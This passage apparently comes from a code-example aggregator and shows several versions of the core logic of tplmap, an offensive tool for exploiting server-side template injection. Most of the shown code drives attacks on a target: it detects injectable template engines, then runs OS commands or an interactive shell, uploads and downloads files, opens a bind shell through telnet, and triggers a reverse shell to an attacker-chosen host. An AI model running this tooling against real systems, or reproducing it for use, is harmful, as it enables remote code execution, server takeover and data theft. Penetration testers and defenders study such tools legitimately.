    remote_local_paths = channel.args.get('download')
    if remote_local_paths:

        if channel.data.get('read'):

            remote_path, local_path = remote_local_paths

            content = current_plugin.read(remote_path)

            with open(local_path, 'wb') as f:
                f.write(content)

        else:

            log.error('No file download capabilities have been detected on the target')

    # Connect to tcp shell
    bind_shell_port = channel.args.get('bind_shell')
    if bind_shell_port:

        if channel.data.get('bind_shell'):

            urlparsed = urlparse.urlparse(channel.base_url)
            if not urlparsed.hostname:
                log.error("Error parsing hostname")
                return

            for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)):

                log.info('Spawn a shell on remote port %i with payload %i' % (bind_shell_port, idx+1))

                thread.join(timeout=1)

                if not thread.isAlive():
                    continue

                try:

                    telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout = 5).interact()

                    # If telnetlib does not rise an exception, we can assume that
                    # ended correctly and return from `run()`
                    return
                except Exception as e:
                    log.debug(
                        "Error connecting to %s:%i %s" % (
                            urlparsed.hostname,
                            bind_shell_port,
                            e
                        )
                    )

        else:

            log.error('No TCP shell opening capabilities have been detected on the target')

    # Accept reverse tcp connections
    reverse_shell_host_port = channel.args.get('reverse_shell')
    if reverse_shell_host_port:
        host, port = reverse_shell_host_port
        timeout = 5

        if channel.data.get('reverse_shell'):

            current_plugin.reverse_shell(host, port)

            # Run tcp server
            try:
                tcpserver = TcpServer(int(port), timeout)
            except socket.timeout as e:
                    log.error("No incoming TCP shells after %is, quitting." % (timeout))


        else:

            log.error('No reverse TCP shell capabilities have been detected on the target')
예제 #54
0
#!/usr/bin/env python
from utils import cliparser
from core import checks
from core.channel import Channel
from utils.loggers import log

version = '0.1d'


def main():

    args = vars(cliparser.options)

    if not args.get('url'):
        cliparser.parser.error('URL is required. Run with -h for help.')

    checks.check_template_injection(Channel(args))


if __name__ == '__main__':

    log.info(cliparser.banner % version)

    try:
        main()
    except (KeyboardInterrupt):
        log.info('Exiting.')
    except Exception as e:
        log.critical('Exiting: %s' % e)
        raise
예제 #55
0
파일: checks.py 프로젝트: Rainism/tplmap
def check_template_injection(channel):

    current_plugin = None

    # Iterate all the available plugins until
    # the first template engine is detected.
    for plugin in plugins:

        current_plugin = plugin(channel)

        # Skip if user specify a specific --engine
        if channel.args.get("engine") and channel.args.get("engine").lower() != current_plugin.plugin.lower():
            continue

        current_plugin.detect()

        if channel.data.get("engine"):
            break

    # Kill execution if no engine have been found
    if not channel.data.get("engine"):
        log.fatal(
            """Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests."""
        )
        return

    # Print injection summary
    _print_injection_summary(channel)

    # If actions are not required, prints the advices and exit
    if not any(
        f
        for f, v in channel.args.items()
        if f in ("os_cmd", "os_shell", "upload", "download", "tpl_shell", "tpl_code", "bind_shell", "reverse_shell")
        and v
    ):

        log.info(
            """Rerun tplmap providing one of the following options:\n%(execute)s%(write)s%(read)s%(bind_shell)s%(reverse_shell)s%(execute_blind)s"""
            % (
                {
                    "execute": "\n    --os-shell or --os-cmd to execute shell commands via the injection"
                    if channel.data.get("execute") and not channel.data.get("execute_blind")
                    else "",
                    "bind_shell": "\n    --bind-shell PORT to bind a shell on a port and connect to it"
                    if channel.data.get("bind_shell")
                    else "",
                    "reverse_shell": "\n    --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT"
                    if channel.data.get("reverse_shell")
                    else "",
                    "write": "\n    --upload LOCAL REMOTE to upload files to the server"
                    if channel.data.get("write")
                    else "",
                    "read": "\n    --download REMOTE LOCAL to download remote files"
                    if channel.data.get("read")
                    else "",
                    "execute_blind": "\n    --os-cmd or --os-shell to execute blind shell commands on the underlying operating system"
                    if channel.data.get("execute_blind")
                    else "",
                }
            )
        )

        return

    # Execute operating system commands
    if channel.args.get("os_cmd") or channel.args.get("os_shell"):

        # Check the status of command execution capabilities
        if channel.data.get("execute_blind"):
            log.info("""Only blind injection has been found, command execution will not produce any output.""")
            log.info(
                """A delay string as '&& sleep <delay>' will be appended to your command to return True or False whether it returns successfully or not."""
            )

            if channel.args.get("os_cmd"):
                print current_plugin.execute_blind(channel.args.get("os_cmd"))
            elif channel.args.get("os_shell"):
                log.info("Run commands on the operating system")
                Shell(current_plugin.execute_blind, "%s (blind) $ " % (channel.data.get("os", ""))).cmdloop()

        elif channel.data.get("execute"):
            if channel.args.get("os_cmd"):
                print current_plugin.execute(channel.args.get("os_cmd"))
            elif channel.args.get("os_shell"):
                log.info("Run commands on the operating system")

                Shell(current_plugin.execute, "%s $ " % (channel.data.get("os", ""))).cmdloop()

        else:
            log.error("No system command execution capabilities have been detected on the target")

    # Execute template commands
    if channel.args.get("tpl_code") or channel.args.get("tpl_shell"):

        if channel.data.get("engine"):

            if channel.data.get("blind"):
                log.info("""Only blind execution has been found. Injected template code will not produce any output.""")
                call = current_plugin.inject
            else:
                call = current_plugin.render

            if channel.args.get("tpl_code"):
                print call(channel.args.get("tpl_code"))
            elif channel.args.get("tpl_shell"):
                log.info("Inject multi-line template code. Press ctrl-D to send the lines")
                MultilineShell(call, "%s > " % (channel.data.get("engine", ""))).cmdloop()

        else:
            log.error("No code evaluation capabilities have been detected on the target")

    # Perform file upload
    local_remote_paths = channel.args.get("upload")
    if local_remote_paths:

        if channel.data.get("write"):

            local_path, remote_path = local_remote_paths

            with open(local_path, "rb") as f:
                data = f.read()

            current_plugin.write(data, remote_path)

        else:
            log.error("No file upload capabilities have been detected on the target")

    # Perform file read
    remote_local_paths = channel.args.get("download")
    if remote_local_paths:

        if channel.data.get("read"):

            remote_path, local_path = remote_local_paths

            content = current_plugin.read(remote_path)

            with open(local_path, "wb") as f:
                f.write(content)

        else:

            log.error("No file download capabilities have been detected on the target")

    # Connect to tcp shell
    bind_shell_port = channel.args.get("bind_shell")
    if bind_shell_port:

        if channel.data.get("bind_shell"):

            urlparsed = urlparse.urlparse(channel.base_url)
            if not urlparsed.hostname:
                log.error("Error parsing hostname")
                return

            for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)):

                log.info("Spawn a shell on remote port %i with payload %i" % (bind_shell_port, idx + 1))

                thread.join(timeout=1)

                if not thread.isAlive():
                    continue

                try:

                    telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout=5).interact()

                    # If telnetlib does not rise an exception, we can assume that
                    # ended correctly and return from `run()`
                    return
                except Exception as e:
                    log.debug("Error connecting to %s:%i %s" % (urlparsed.hostname, bind_shell_port, e))

        else:

            log.error("No TCP shell opening capabilities have been detected on the target")

    # Accept reverse tcp connections
    reverse_shell_host_port = channel.args.get("reverse_shell")
    if reverse_shell_host_port:
        host, port = reverse_shell_host_port
        timeout = 5

        if channel.data.get("reverse_shell"):

            current_plugin.reverse_shell(host, port)

            # Run tcp server
            try:
                tcpserver = TcpServer(int(port), timeout)
            except socket.timeout as e:
                log.error("No incoming TCP shells after %is, quitting." % (timeout))

        else:

            log.error("No reverse TCP shell capabilities have been detected on the target")
예제 #56
0
#!/usr/bin/env python
from utils import cliparser
from core import checks
from utils.loggers import log


def main():

    args = vars(cliparser.options)

    if not args.get('url'):
        cliparser.parser.error('URL is required. Run with -h for help.')

    checks.check_template_injection(args)


if __name__ == '__main__':

    try:
        main()
    except (KeyboardInterrupt):
        log.info('Exiting.')
    except Exception as e:
        log.critical('Exiting: %s' % e)
        raise